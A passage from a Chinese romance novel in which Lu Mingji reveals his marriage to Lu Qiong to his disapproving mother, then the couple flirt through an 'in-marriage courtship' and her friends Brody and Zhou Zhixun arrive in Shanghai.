他和路琼之间的情趣别人不懂。 陆明霁一脸倨傲:“你可以照照镜子。” 钟洋拉下遮光板,对着镜子左照照右照照,没什么不妥:“怎么了?” 陆明霁被他蠢到,多看一眼就会被传染,他闭上眼:“你嫉妒的样子很丑陋。” 钟洋恼怒:“谁嫉妒了!谁还没女朋友了!” 陆明霁更有得显摆:“我是领了证。” 钟洋被扎心,坐正,点开小女友微信:【宝宝,我下午三点下飞机,你能买束玫瑰花来接我吗?】 小女友秒回,钟洋做好跟老大炫耀的准备,定睛一看消息。 小女友:【有病吧你,打游戏呢再烦拉黑!】 “……” 钟洋心碎。 默默收起手机。 …… 三点零五分,京北飞沪市的飞机落地。 二十分钟后,陆明霁和钟洋从机场里出来,来接机的司机就把车停在出口处。 上车后,陆明霁在沉思是告诉路琼一声他已经回来还是隐瞒下来给她一个惊喜。 纠结两秒钟,他选择后一个做法。 手机还没放下,震动两声。 奶奶发来消息。 先是两张陌生女人的照片。 紧跟一条陆明霁厌烦至极的文字:【这姑娘怎么样?我老闺蜜她大嫂的侄女的女儿,刚国外留学回来,你去见见。】 【不见】两个字都打出来,陆明霁又删除。 拿手机拍拍驾驶座椅靠背,吩咐司机:“去静园。” 奶奶前两天就出院回家。 司机应声:“好的陆总。” 陆明霁和路琼结婚的最初目的就是为奶奶,还没来得及告诉当面奶奶他就去京北出差,正好今天时机合适,不能再拖下去,否则奶奶再替他约人家女孩出来,他再放人鸽子还得挨骂。 爷爷奶奶原先在宁城养老,奶奶近些年身体不太好,就搬回沪市,沪市综合医疗水平比宁城高,也便于他们回家看望。 机场到静园开车不到一小时。 司机把车开到家门口,陆明霁下车在后备箱拿下行李箱,就让司机和钟洋回去。 爷爷奶奶这边有他的车,走时他自己开车。 爷爷前些年新添个养鸟的爱好,他爸陆致涛为表孝心,搜罗来一只紫兰金刚鹦鹉,人话说的贼溜,一见人来就张嘴报信。 他拎着行李箱进门,管家正在喂鹦鹉吃饭,见到他,鹦鹉扑腾一下翅膀:“回来啦!回来啦!” 他嫌鹦鹉嗓音难听,啧一声快步进屋。 在玄关处换上拖鞋,行李箱也放那儿。 奶奶端着一小碟新烤出来的果蔬干从厨房出来,瞥到玄关处有个人,正眼瞧过去:“什么风把你吹回来了。” 陆明霁过去搀着奶奶:“您的邪风。” 奶奶啪一巴掌拍在他手背上:“不会说人话就出去跟明柯学学!” 明柯是那只鹦鹉的名字。 取自陆明霁和左柯让兄弟俩名字的中间字。 有这因素在,明柯还挺亲近他们兄弟俩,虽然他们兄弟俩并不需要这份亲近。 走到客厅,陆明霁一挑眉。 他爸他妈竟然也都在。 近些年陆明霁和他妈关系降至冰点,没有要缓和的迹象。 母子俩上次见面还是除夕过年的时候。 陆明霁喊完一声爸妈,扶着奶奶在长沙发坐好,他坐到奶奶旁边的单人沙发里。 正对面是他妈傅文熙女士,斜对面他爸和爷爷奶奶并排坐一块。 傅文熙和陆致涛今天恰好都不忙,回家陪陪两位老人,就这么凑巧陆明霁也过来。 家里人都知道母子俩有心结,这些年劝也劝过,效果甚微,后就不再多言,顺其自然。 奶奶心心念念着给陆明霁颁布的下一项相亲任务,碍于傅文熙在,怕她一掺和适得其反,憋着没说。 陆明霁没整什么铺垫,他今天就为这事来的,他爸他妈在场不再他意料之内,但不妨碍什么,一家人整整齐齐还省得他再麻烦。 他直截了当:“我结婚了。” 嘎嘣一声脆响,奶奶咬断紫薯干,硌得牙有些疼。 陆致涛和爷爷齐刷刷看向他。 傅文熙眼皮子一跳,问他:“跟谁?” 陆明霁视线笔直回望:“路琼。” 他补充:“上周一领的证,婚礼待定。” 奶奶没心思再嚼,扯张卫生纸吐掉紫薯干:“你说谁?” 她怀疑自己要再去检查一下耳朵,幻听那可是精神疾病。 “陆明霁你是不是疯了?”傅文熙按住疯狂抽动的右眼皮,与陆明霁一个模子里刻出来的眉眼汇聚着怒气:“你忘了她当初怎么甩的你了吗!她只是喜欢你的钱!” 陆明霁自有一套他的理论:“有钱人那么多她怎么不喜欢别人的钱?” “你还有没有脑子?”傅文熙气到口不择言:“她因为一千万就把你甩了,你一点教训不涨,还上赶着把脸送过去给她踩!” “她为什么甩我您不清楚吗?”陆明霁冷声:“那不都是您逼的?” 路琼大四那年有个出国的机会,而那时他在创业。 傅文熙挑准他们感情将要面临抉择的时刻,施压他,切断他资金来源的同时又给路琼一笔钱,让路琼跟他分手。 陆明霁不受她刺激,有条有理地反驳:“她拿了您一千万是因为在您就给她这么多,是在您眼里您儿子就值一千万!” 这句话陆明霁揣在心里六年,一朝吐露就是将他和他妈这些年互不干扰的平衡打破。 他厌恶傅文熙用钱来衡量感情,更厌恶她用钱去逼迫路琼。 陆致涛适时制止陆明霁:“好好跟你妈说话。” 傅文熙站起来,手指向陆明霁:“你再给我说一遍!” 奶奶张口欲言,爷爷轻踢她一脚。 这是他们母子俩僵持多年的症结,就交给他们母子俩解决。 看到傅文熙眼里强压不下去的一层晶莹,陆明霁垂下眼。 他无意跟他妈针锋相对,他不是不清楚傅文熙做这一切的出发点都是为他好,只是这份好不是他想要的。 而且闹这么僵路琼知道以后肯定会为难,外人知道以后也会将一切源头都归结到路琼头上。 但他要把他的态度摆出来,放缓语气:“妈,我不是当年什么都要靠家里的时候,您喜不喜欢路琼我不在乎,我只希望您能尊重她,也是尊重我。” “我——”怎么就没尊重你。 傅文熙止住话头,连着嗓子里涌起的哽咽一起咽下去,她偏过脸不再看陆明霁。 陆致涛瞪陆明霁一眼,无声警告他说话注意分寸,站到傅文熙旁边,抚着她后背安慰她,傅文熙不愿展露出弱势,挣开陆致涛。 “妈,我知道您觉得路琼配不上我,但其实是我配不上她。”陆明霁出生起就众星捧月,谁都不服气,唯我独尊的傲慢态度,这是他第一次主动放低姿态:“她家庭条件不好不是她的错,也不是什么缺点,如果她生在我这种家庭,她只会比现在更优秀,那她就不一定会看上我。” 陆明霁永远都记得他第一次去路琼家里找她,四面环绕高耸入云的大山,村里还有几家简陋不堪的土坯房。 目之所及皆颠覆他的认知。 难以想象在他生活的繁华以外还有那么贫困的地方。 可想而知路琼要付出多少努力和艰辛才能走出那方透不过气的天地。 他从未怪过路琼拿走他妈的钱。 “而且我查过银行流水,您给她的那笔钱她只用了一小部分,后来也都连本带利补上了。” “妈,我只要她。” 除她之外,别人谁都不行。 该说的都说完,再待下去紧绷的氛围也不会缓和,陆明霁跟爷爷奶奶说一声,去茶几抽屉里拿出把车钥匙,走人。 听着门开门关,院子里车开走的声音,傅文熙深吸口气。 奶奶拨开陆致涛,拉住傅文熙的手。 她从母子俩的对峙中拼凑出完整故事,原来路琼就是孙子大学谈的那个女朋友。 兜兜转转两人又重归于好,是有缘分的。 傅文熙可以跟陆致涛耍横,但不能耍奶奶,依着奶奶坐下。 奶奶懂傅文熙的难过,傅文熙母亲和她是至交好友,傅母在傅文熙五岁就因病去世,傅父成日花天酒地不靠谱,傅文熙从小是在她身边长大,她当亲女儿一样疼爱。 “文熙,多余的话妈不说。” 奶奶自揭伤疤劝慰她:“你就想想若青,有时候我们觉得好的不一定就是他们喜欢的。” 陆若青是陆明霁亲姑姑,大学时有个初恋情人,毕业后被迫分手接受联姻,婚后出轨初恋,在和初恋外出途中车祸去世。 傅文熙将陆明霁代入事件主角,一抹寒意从脚底升起,她拂开奶奶的手:“妈我出去透透气。” 声音里有一丝颤。 陆致涛追出去,在傅文熙四五步远外停下,默声陪着她,等她心情平稳得差不多,他过去把她拥入怀里。 “陆明霁好心当成驴肝肺,你就别管他了,气出皱纹不划算。” 傅文熙手在眼底抹一下,她不会允许眼泪掉下来:“我就是想不通,找个门当户对的不好吗,我跟你就是联姻,不也挺好的。” 以陆家现在的地位发展,并不需要陆明霁牺牲婚姻来巩固,她也不是想操控儿子的感情,陆明霁要是找个家世相当的女朋友她举双手赞成。 她是觉得路琼配不上她儿子,陆明霁从出生就被她捧在手心里,要什么给什么,她把所有最好的东西都送给陆明霁,他人生另一半当然也得是万里挑一,家世样貌各个都得是顶尖。 路琼长得是漂亮,可她太精明,当年见过的那两次面,傅文熙没有在路琼眼里看到对陆明霁深刻的喜欢,倒是在自己那个傻白甜儿子眼里看出他对路琼满腔的在意。 所以傅文熙才会认为路琼只是看中陆明霁的钱。 单纯站在旁观者角度,傅文熙欣赏路琼奋力生长的劲儿,踩着男人向上爬又不是件可耻的事情,能抓住资源为己用的人最聪明,可这块垫脚石不能是她儿子。 没有一个母亲会乐意。 后来陆明霁大冬天跑那么远去路琼家里,在雪地里找路琼找到弄伤眼睛,她这个当妈的怎么能不心疼? 本就有着家世偏见,这一叠加,她就更不喜欢路琼。 路琼想要钱,傅文熙就给她钱。 用一笔钱买断她附注在陆明霁身上的野心,以免日子一久,陆明霁陷得无法自拔再看清她的真面目后伤心难过。 这笔买卖很划算。 傅文熙心甘情愿当这个恶人。 只是她没想到她儿子会那么犟,路琼都跟他分手,他还不服软。 宁可住地下室吃泡面都要跟她硬刚到底。 “我跟你感情好是因为咱俩青梅竹马,从小就互相喜欢。”陆致涛附在她耳边哄着她:“陆明霁又没这福气。” 傅文熙脸一红,推开他:“你少自恋!谁喜欢你,我可没有从小就喜欢你,是你死皮赖脸追着我!” * 快到下班时间,编辑部交上来一篇稿子,路琼懒得留到第二天审核,就多加半小时的班。 六点半,她办公室灯光关闭。 边下楼梯边给陆明霁发消息:【我下班啦~】 她日常情话输出:【好想你。】 下到一楼,路琼手摸进包里找车钥匙,耳边乍然响起一道鸣笛声。 她回头。 第44章 宝宝 一辆宾利SUV停在尚嘉杂志社正门口对面。 陆明霁坐在车里,左手杵在车窗上支着脑袋,右手懒懒搭在方向盘上,掌根按着喇叭,扬着下巴,眼睛向下睥睨,神态一如既往的骄横。 路琼刚摸到的车钥匙就那么无情丢回包里,笑着跑过去。 她发丝往后飘荡,一步一步奔向陆明霁的时候像是踩在调色盘上,周遭景物都随之灿烂多彩起来。 陆明霁扫一眼后视镜那儿,确定行车记录仪开着。 副驾驶车门拉开,陆明霁眼睫轻眨一下,晚风送进熟悉的香气。 路琼坐上车,先越过扶手箱,亲一下陆明霁,他一动没动,她只能亲到他脸颊。 亲完她人也没动,鼻尖离他脸颊仅有毫厘:“你怎么提前回来了?” 陆明霁只字不提他压缩行程加重工作量的事情,钟洋已经揶揄过他好几次,他不会再给任何人笑他的机会:“你问什么废话,忙完了就回来了。” “哦。”路琼还是那样靠近他,手下一个没撑稳,身体微晃,鼻尖戳到陆明霁颧骨。 陆明霁被她弄得脸痒心痒,忍无可忍扭头:“你能不能——”坐回去。 路琼瞅准时机扑向他嘴唇,成功亲到,不需陆明霁多废话,她就乖乖坐回副驾驶,扶好被挤压得歪七扭八的包包。 这下嘴唇也痒,陆明霁伸舌舔掉。 最近换季天气变干燥,他舔嘴唇的次数飙升,以前可从来没有这毛病。 他又瞥一下路琼的嘴唇,涂着一层裸色口红。 不干,那就不用买唇膏。 察觉到路琼又要歪头,陆明霁及时收回偷瞄,发动车子。 副驾驶储物箱呈打开状态,两支不负鲜艳光彩的红玫瑰相互倚靠着插在里面。 路琼拨弄着花瓣,揣着明白装糊涂:“都蔫了你怎么还拿回来了。” 陆明霁不会叫她得逞,但又怕她是真不懂,她也不是时刻都情商在线,想到这层可能,他有些生气:“京北不让随地乱丢垃圾。” 路琼真诚建议他:“那你可以丢垃圾桶里呀。” 前方正好就有个垃圾箱,陆明霁打转向灯变道,靠到马路边,解开安全带,就要去抽走那两支玫瑰。 他在酒店就该扔掉! 路琼敏捷地抓住他手,忍俊不禁地道歉:“错了错了我错了!” 陆明霁不吃她这一套,他今天势必要把这两支玫瑰弄走! 他力气大,路琼两只手制服不住他两只手,就灵活地改变策略,环上他肩膀,安全带勒在胸前限制她活动,她把人拽来副驾,凑上去吻他。 陆明霁不想给她亲,要挣扎,可他嘴唇被路琼咬着,脖颈也被她圈死紧。 他就闭紧嘴巴不让路琼进去,路琼也不急,极有耐心地含着他唇瓣,舌尖一遍遍描绘着他的唇形。 不知道描到第几遍,陆明霁嘴唇都有些刺痛,路琼分开一些:“我真错了,你别生气。” 陆明霁不搭理她。 路琼又亲他一下,故意弄出“啵”的声响:“一会儿我买双倍补偿你。” 陆明霁还是吝啬给她只言片语,脸也偏向一侧,拒不接受沟通。 “我真的知道错啦。”路琼鼻尖蹭着他脸颊,唇尖边说话边磨着他嘴角,见他还无动于衷,想起一个陆明霁的敏感点,移到他耳边,小声哄:“原谅我吧,宝宝?” 上一刻还算老实被她抱着的人,这一刻跟应激反应一样,拽下她胳膊丢到她腿上,光速逃离她身边。 玫瑰花也不再管,一言不发再次启动车子,侧脸冷峻严肃地像是块死板的木雕。 如果忽略掉他蹿红的耳朵,陆明霁冷脸状态下真蛮有威慑力。 路琼手痒,想去捏捏他耳朵,但又怕梅开二度,好不容易哄好的人又被她给惹恼。 捻捻指腹,打消这个逗弄的念头。 不是回家的路,陆明霁没说要去哪,路琼也不问,总不能把她卖掉。 十分钟后,车子驶入一个地下停车场。 车子停好,陆明霁下车,路琼慢他一拍,下去后小跑两步挽上他手臂。 看不出这是哪里,路琼问他:“去干嘛?” 陆明霁双手揣着裤兜,耳朵颜色减弱,气消但还不想好好讲话:“把你回收处理。” “……” 路琼博览群书,思绪灵活,秒想出应对措施:“那你记得不要处理我的心脏,因为里面还放着你。” 她哪来那么多漂亮话? 陆明霁真好奇路琼是不是有一本情话大全的书,且还时时更新词汇。 唇线扯平,防止唇角上翘,他表现出不喜欢:“路琼,你真土。” “没关系,你洋气。”路琼见招拆招:“我们两个互补。” 陆明霁词穷,他一张战无不胜任谁都甘拜下风的嘴对上路琼总是哑口无言。 上电梯到六楼,候在门口随时等待接应的服务生上前:“晚上好陆先生。” 陆明霁略一颔首,轻车熟路往里走。 服务生跟在一旁,到标号666的包厢前,她先一步打开包厢门,站在门外,微躬身,做出请进的姿势。 陆明霁拉开一把椅子,揣兜里的手拿出来,握住路琼把她带到椅子上坐。 他则绕到对面坐下。 服务生询问是否还是老样子。 陆明霁摇头,桌上的菜单推给路琼,让她点。 这地方工作的服务生都极有眼力见,凭借陆明霁这么两个服务路琼的行为就断定陆明霁不是今天他们服务的主角,路琼才是。 转向路琼,在她翻看菜单时偶尔添上一两句介绍。 路琼办什么事都干脆,点菜没那么多纠结,结婚后一起吃过几顿饭,陆明霁口味偏好没变,一两分钟就点好单。 陆明霁是鸿德楼常客,这件包厢是他专属,这种贵宾服务生对他口味合适铭记于心。 路琼点完菜,她笑着说一句:“陆先生每次来也都是点这几样,您二位真是心有灵犀。” 陆明霁倒好一杯水,正要送至嘴边,闻言斜觑向服务生。 服务生接收到眼神警示,笑容褪去,心里七上八下起来,不知自己说错哪句话。 路琼挥挥手,解救服务生:“没事了,你出去吧。” 服务生忙不迭撤退,带上包厢门关好。 鸿德楼是易骏家的产业,易骏这个少东家一早就说过这位陆先生是个难伺候又娇气的主,脾气阴晴不定的,叫他们多加小心,要是无意撞到枪口上被他骂,可以申请工伤领抚恤金。 在这个颜值即正义的社会,得到老板叮嘱的服务生们再见到陆明霁本人后,都觉得老板夸大其词,几次服务下来都平安无事,陆先生人是冷淡些但也挺有礼貌,放松警惕后愈发认为老板言辞有误。 结果她今天就挨了瞪,是马屁没拍对? 还有,挨瞪算不算工伤? 服务生这儿边忐忑着边去后厨交待,包厢那儿的气氛也有些诡异。 餐桌两侧,一侧笑颜如花一侧冷若冰霜。 “陆明霁。”路琼托腮瞅着对面又闹起别扭的男人:“你吓到人家服务生了。” 陆明霁侧头欣赏着外滩夜景:“她话多。” “可我觉得她说的刚刚好啊。”路琼直言不讳:“我听了很开心。” 因为她刚才点的那几道菜,除去陆明霁爱吃的,还有她喜欢的。 他常来常点,他还记得她的口味 陆明霁爱面子人设不倒:“你别想太多,他家只有那几道菜好吃。” 路琼煞有其事点点头:“沪市老字号餐馆原来擅长做辣菜。” “你管人家做什么菜,你又不是厨子。” “哦。” 陆明霁哑巴再附身,喝着水不理人。 路琼扫视一圈包厢,简约中式风,墙壁上有竹林印花:“上次谷蕴柠住我家,彭靖驰就给她订的这家早餐。” 谷蕴柠后来安排好每日给她送三餐,但她醒来时间不确定,就作罢。 陆明霁把易骏电话发给她:“想吃就让他送。” 路琼说好,再把她这边的水杯推过去:“我也要喝。” 陆明霁莫名其妙:“你没手?” 路琼喝水有前提:“我想喝你倒的。” 陆明霁不管:“自己倒。” 路琼单手托腮改成双手,一双眼睛溢满笑意,眼尾上扬的微弧像是鱼钩,轻轻松松就钓起陆明霁。 陆明霁没好气地拿过餐桌中央那只耀武扬威的水杯,倒多半杯再还回去。 路琼小口小口抿着喝,喝到第一道菜都端上桌,陆明霁给她倒的那杯水喝掉一半,终于等到在服务生出去后陆明霁正眼看向她。 陆明霁嗓音绷着,似是在忍耐着什么:“你多动症吗,脚不会在地上踩着就剁掉。” 路琼今天穿的一双尖头高跟鞋,仗着有桌布遮挡,肆无忌惮地在桌下勾弄着陆明霁的裤子,再时不时用鞋尖在他小腿画画圈。 以为她动两下就会被陆明霁制止,不成想他能坚持这么久。 路琼适可而止,收回放肆作乱的脚。 吃完饭,路琼导航到一家最近的花店,让陆明霁开车过去带她买花。 等收到路琼双倍补偿的一束红玫瑰,陆明霁觉出不对劲,她要追他,给他买花还要他开车当司机,一点诚意都没有。 不过陆明霁没提,他这次反应太慢,说出来会被路琼笑话。 他才不上赶着送把柄。 回到家,路琼先进去,陆明霁落后。 把行李箱从楼道拎倒玄关,门关上,他要去开灯,人就被路琼扑到门板上。 路琼高跟鞋还没脱,亲他不用踮脚,两手攀着他肩膀,含住他下唇,牙齿咬着柔柔磨两下。 这是她吻陆明霁时的一个小习惯。 陆明霁靠着门板,摸黑将行李箱推到一边,以免绊倒路琼,本是去开灯的手落下,虚扶在她腰侧,那一小束握在掌心里的玫瑰花也贴着她。 躲避着路琼舌.尖的探寻,就不让她碰到,以这种方式反钓路琼。 路琼对陆明霁总是有着非比寻常的耐心,挎在手肘的托特包丢到地上,胳膊环抱住陆明霁。 陆明霁放在她腰间的手也圈紧,包装花束的牛皮纸哗啦啦响。 就这么你追我躲地来往着,两人都闹出一身火,呼吸都加重。 少爷想拿捏她,路琼就示弱哄他,她不似他那样小心眼,不争高低输赢。 和上次要他戴眼镜时那样的语气撒娇,搂着他左右晃晃:“求求你。” 早在陆明霁来接她时她就想亲他,奈何在外面要克制,他又被她惹恼不太配合,到鸿德楼停车场,路琼看清陆明霁今天的整套穿衣,一身灰色运动装,连帽衫是灰黑拼色,黑发没有精细打理,懒散又柔顺。 很普通的打扮就让路琼想到肤白貌美这个词。 陆明霁的脸她怎么都不会看腻。 鞋柜底部装有声控灯,莹莹微光照亮瓷砖再反射向上。 陆明霁抬起手,指腹在她唇角一蹭,揩掉那一抹分不清是谁的水渍,掌心抚上她后颈,低头回吻,舌尖递出,满足她的需求。 路琼都要挂到陆明霁身上,扯着他的外套想脱,一阵失重感袭上,她被陆明霁托抱起来。 家里有套,她前两天去超市已经买好,就放在床头柜里。 路琼是真的很想陆明霁,从心到身都想,可六年没有过,她难免会紧张。 “我——” 她想说点什么,大脑却空白一片。 还没走到卧室,路琼就落回实处。 陆明霁把她放到沙发上,漫不经心在她唇上亲最后一下:“有个会要开,我先去忙。” 不顾路琼什么表情,他转身去楼上书房。 带着那束玫瑰花一起。 得到的太容易就会不珍惜。 从长远考虑,陆明霁不准备让路琼这么快就吃到他。 再者,她也还没追到他。 没追到就不能到最后一步,给她亲就足够破例,他得做个洁身自好、矜持自律的好男人。 第45章 婚内追求 被陆明霁那样摆一道,路琼第一次记他的仇。 第二天吃早饭时,她幽怨的眼神就没在陆明霁身上下来过。 陆明霁八风不动地吃着煎蛋,像是屏蔽掉路琼发送的信号。 他是被追求的一方,得将主动权握在自己手中。 经过一晚上时间,他已经加固好心防,不会再被路琼三下两下的撩拨就扰乱心神。 路琼昨天下班没开车回来,今早需要陆明霁送她上班。 送到尚嘉楼下,车子还停在昨晚那个车位。 路琼下车前没忘亲陆明霁一下:“宝宝再见。” 一句宝宝喊得他差一点就破功。 路琼走进尚嘉楼内,至少得爬到她办公室那层楼,陆明霁才平复好,驱车驶离。 路琼到她所在那层楼,葛晚棠拿着本印刷好的新期杂志从楼上下来。 葛晚棠就是要去找路琼,这下碰到,不用再多走,把杂志交给她:“样刊,你先看看。” 路琼接过去:“好。” 葛晚棠说完事就要走,一见到路琼那满面春风的模样,就又停下:“陆明霁出差回来了?” 路琼稀奇:“你怎么知道?” 葛晚棠皮笑肉不笑地扯扯嘴角,食指隔空在她脸上划一圈:“看出来的。” 她太纳闷:“至于这么高兴?” 陆明霁那么大个人,马上就要奔三,发个烧又不是什么传染病,路琼还巴巴飞去京北照顾两天。 葛晚棠印象里的路琼可没有这么恋爱脑。 路琼坦然承认:“高兴啊。” 她想陆明霁,陆明霁回来她就开心,这就是她最真实的心理活动,没什么好隐瞒的,又不是丢人的事情。 她面对感情一事,向来直率表露,不扭捏不做作。 至于特地飞去京北—— 她生病的时候陆明霁对她也是无微不至。 大学有一次她生理期赶上流行病毒,她怕传染给谷蕴柠她们,就想去校外找家旅馆住两天,陆明霁知道后冷着脸把她带回他公寓。 特严厉地批评她说有男朋友出去住什么旅馆,他又不是死的。 路琼也怕传染他,还是想走,陆明霁就捧着她脸来了一记深吻,把她堵死,威胁她要是敢走就分手。 那是他第一次也是唯一一次说分手这两个字。 晚上她复烧起来,退烧药已经不再管用,陆明霁开车带她去医院挂水。 彼时医院里全是她这种病号,输液室人满为患,陆明霁给她办的住院,只是输个液他小题大做弄得VIP单人病房,就为她能休息好。 到病房后她小腹抽疼,痛经引起胃痉挛,晚饭那点粥都吐个干净,其中一半不小心吐到陆明霁裤子上,他没躲也没嫌弃,眼里只有焦急和心疼。 给她喂水漱口、擦嘴,再收拾地上的脏污,他都没有假手于人。 路琼后半夜醒来没看到陆明霁,套房卫生间亮着灯,她悄悄过去看。 陆明霁正站在洗漱池前,手洗着她沾到经血的内裤。 他完全可以丢掉再给她买新的,他又不缺那点钱。 但他没有那么做。 他那么爱干净、没碰过家务的人,又娇气,自己的内裤都是丢内衣洗衣机里洗,都顾不上管自己,就那么没日没夜守了她三天,直到她彻底痊愈,活蹦乱跳。 那三天他瘦到脸都凹陷,他舍友见到他还以为他生什么大病。 这次他发烧,路琼就只是过去看看他,什么都没用干。 路琼不善于炫耀她得到的好处,所以外人可能看到是她付出更多,但她真的没实质性做过什么。 顶多就送送陆明霁玫瑰花,动动嘴皮子哄哄他。 就换来陆明霁在大学那场恋爱里对她死心塌地。 葛晚棠确实难以将路琼讲述故事里的主角和她所知的那个陆明霁联系到一起。 洗内裤这件事,别说男朋友,就是她亲妈都不会给她洗。 她啧啧两声:“我还是更佩服你啊路姐,能把陆明霁驯化成这样。” 再次竖起大拇指,她的大拇指就是路琼专属:“你是真牛逼。” 路琼笑笑:“他真的很好。” 因为是陆明霁,因为陆明霁很好,她才恋爱脑。 换个人,她还是理智的路琼。 她以前会觉得恋爱脑是贬义词,现在并不。 葛晚棠牙酸,她捂住一侧腮帮:“好了可以闭嘴了。” 快到九点打卡时间,上来的人越来越多,两位领导站在楼梯间不像样,两人切断聊天,各回各的办公室。 跟葛晚棠聊那么一会儿,路琼又牵扯出另外几段陆明霁对她好的回忆片段。 心里一时有点惆怅。 她贪恋大学的陆明霁,可时间在走人在变,她能感觉出自她去京北找他后,他的态度在软化。 就是不知道还能不能回到从前。 希望一切只是时间问题,而不是心的问题。 路琼是想着中午要不要去找陆明霁吃午饭,结果审片子太专注,没注意到点钟,审完片子都已经一点钟,快到下午上班时间。 下午四点多,她发消息问陆明霁晚上是在外面吃还是回家。 回家的话她做饭或者阿姨做饭都行。 发完,Brody的消息就嗡嗡震进来。 Brody:【地址地址!】 路琼:【?】 Brody:【我到沪市啦!你工作的地址在哪里?快发给我!】 Brody:【我和迟恒去接你和棠下班!】 Brody:【不许说不!拒绝我的人以后不会再有性生活!】 路琼手机平放在桌上,撑着额头兀自笑一会儿。 甩给Brody尚嘉的地址。 有迟恒这个土生土长的沪市人开车,不怕Brody这个老外找不到地方。 陆明霁还没回她,撤回已超时。 不清楚他在开会还是什么,不好打电话,就微信留言:【我朋友圈合照的那个Brody,他今天到沪市了,我很早就答应好他来的话给他接风,今晚晚饭你自己解决好嘛?】 再加一句补救:【宝宝?】 与此同时,琅域66层。 陆明霁办公室里,魏锦航刚跟他研究完新一轮更改方案。 陆明霁手机连响几声,魏锦航疑惑他私人手机怎么忽然复活有了声音,不再像块砖头一样。 陆明霁没那个责任给他答疑解惑,靠回椅子里,捞过手机。 是路琼。 在消息列表看到最后那一条叫他宝宝的消息,即便魏锦航在他对面不会有机会窥屏,他还是捂住手机侧边。 点开,问他晚饭吃什么到抛弃他约会别人这几条消息共同呈现在一个屏幕里。 陆明霁扔过去一个字:【哦。】 魏锦航跟陆明霁大学同窗四年,又一起共事这么久,他锻炼出一副火眼金睛,最是会观察陆明霁。 他看着手机那一系列微表情变化,魏锦航尽收眼底:“你和路琼暗度陈仓了?” 陆明霁学他奶奶:“不会说人话改天我把我爷爷那鹦鹉拿来教你。” 暗度陈仓。 什么破词。 “什么词不重要。”魏锦航不拘小节:“重要的是真和好了?” 他成日扎在研发里,那晚在Eleven聚会他在隔壁市出差没赶上,是前两天易骏过来跑腿给彭靖驰拿文件送去医院,他俩碰到,易骏提了嘴陆明霁出息了,拒绝掉前女友的采访,脊梁骨杠杠硬。 他这才知道路琼已回国。 就是他现在怎么看都怎么看不出陆明霁的脊梁骨在哪。 “待定。”陆明霁骄矜地抬起下巴:“她在追我。” 不太准确,他又填补:“我们领证了,她在婚内追求我。” “……” 魏锦航呆坐一分钟,捏捏眉心:“我可能最近熬夜熬多了,有点跟不上你们城里人节奏了。” 他翘起的二郎腿放下,坐正:“婚内追求,这么奇葩的词陆总您怎么想出来的?” 兄弟处这么久,陆明霁嘴毒的功力他学来三四成,反用给陆明霁:“您是要开辟新赛道研发新华字典啊,还是怎么着?” “我跟你这种土鳖没什么好说的。”陆明霁指向门口:“出去。” 魏锦航按下他手指,好言相劝:“明明啊,名言警句说了,人不能在同一个地方跌倒两次。” 要说路琼和陆明霁的感情见证者,魏锦航认第二彭靖驰都不敢认第一。 当初他俩分手,路琼是当着他们整个寝室的人、还有一起打球的几个朋友甩的陆明霁。 魏锦航至今记得路琼那句“我不喜欢你,只是看你有钱才搭理你”。 那简直是把陆明霁的脸撕下来丢地上踩。 后来从谷蕴柠那里得知是陆明霁妈妈从中作梗拆散他们,那魏锦航也很难不去计较路琼说的那些狠话。 就是立场不同,他是陆明霁朋友肯定心疼陆明霁。 陆明霁不喜欢听劝:“你要是闲,你就再出一个方案。” 魏锦航端起电脑就走。 办公室门关上,手机再进来一条消息。 路琼:【爱你宝宝。】 文字下面是一个Milo举玫瑰花的表情包。 陆明霁动手打字:【哦。】 …… 六点钟下班,五点五十葛晚棠到达路琼办公室。 进门就怒骂Brody诅咒太恶毒,还搞突然袭击,害得她只能推掉和小男友的约会。 那可是她新搞定的小男友,正黏糊着,她推掉约会小奶狗在电话里哼哼唧唧的她心都疼。 葛晚棠坐到沙发上,双臂环胸:“对了,陆明霁知不知道你跟Brody假扮情侣的事?” 路琼说知道:“领证那天就告诉他了。” “那朋友圈还要留到什么时候?” “今晚就给他下最后通牒,再留最多半个月。” 总不能一直委屈陆明霁。 她朋友圈正牌老公没个影子,反而挂着一个gay。 六点一到,俩人一前一后走出办公室。 一下楼,就看到Brody在对面活力四射地挥舞着双手。 走近后,Brody手臂一展,一次性将他们二人都拥进怀里:“想死你们了!” 葛晚棠一把薅住他头发:“下次再突袭我就把你脑袋剃成秃瓢!” Brody叫嚷着疼,拍掉她作恶多端的手:“你懂不懂什么叫做惊喜!” 葛晚棠不懂。 Brody不和没浪漫细胞的女人讲话,他推开葛晚棠,专注抱路琼一人:“好想你啊琼,你都不知道你不在的日子我妈是怎么摧残我的!” 路琼顺势就跟他下好最后通牒:“你抓紧向教授坦白,我朋友圈要晒我老公。” 葛晚棠被这个新称呼激起一身鸡皮疙瘩,她躲到一边去搓。 Brody委屈扁嘴:“你们都不欢迎我,我现在回去算了。” 停在他们侧方的黑色SUV降下副驾驶车窗,一道含笑的沉稳男声插.进他们的叙旧当中:“不然你们上车再聊?“ 第46章 校友 副驾驶里的男人穿一身西装三件套,深灰色衬衫,黑色马甲,同色领带。 男人五官周正,是很传统的中式帅哥长相,更为出众的是他温雅的气质。 路琼一愣:“学长?” 周之浔笑着颔首:“好久不见,路琼。” 他目光在路琼脸上定两秒钟就看向葛晚棠:“晚棠。” 周之浔在英国读大学时和Brody家是邻居,Brody他妈又是学校新传专业教授,同一所学校里的师生,有这么层关系在,Brody一家对周之浔挺关照,Brody比周之浔小七岁,周之浔读大学他还是个小学生,他很喜欢这个大哥哥,经常去他家黏着他玩。 周之浔大学读完就回纽约读研,Brody从小就将周之浔当作人生目标,大学追着他考去纽约,毕业后进入他家公司任职。 周之浔念着大学那几年Brody一家对他的好,也很照顾Brody,工作上带着他,私下里也总带他玩,两人的朋友圈就这么在一定程度上融合起来。 Brody第一次和路琼见面相亲,他还被Brody拉去在旁边作陪。 那也是周之浔第一次见到路琼,工作上再有交集,得知两人是校友,无形中就添些亲近。 一拖二,二拖三,几人就这么互相认识。 在纽约那几年一有空就聚会,不过经常玩在一起的还是路琼葛晚棠和Brody迟恒四人。 毕竟他们四个同龄,周之浔比他们大那么多,大哥哥的身份堪比家长。 葛晚棠也是没想到会见到周之浔,主要是没收到通知,人就这么水灵灵出现在眼前,是人都得有点懵:“你怎么也在?” 周之浔轻叹口气,寻找同盟:“Brody看来我要跟你一起走了,她们也不欢迎我。” 路琼很快回神,接话:“没有不欢迎,我们是没反应过来。” 葛晚棠帮腔:“就是啊,哥你怎么学Brody一样搞突袭。” 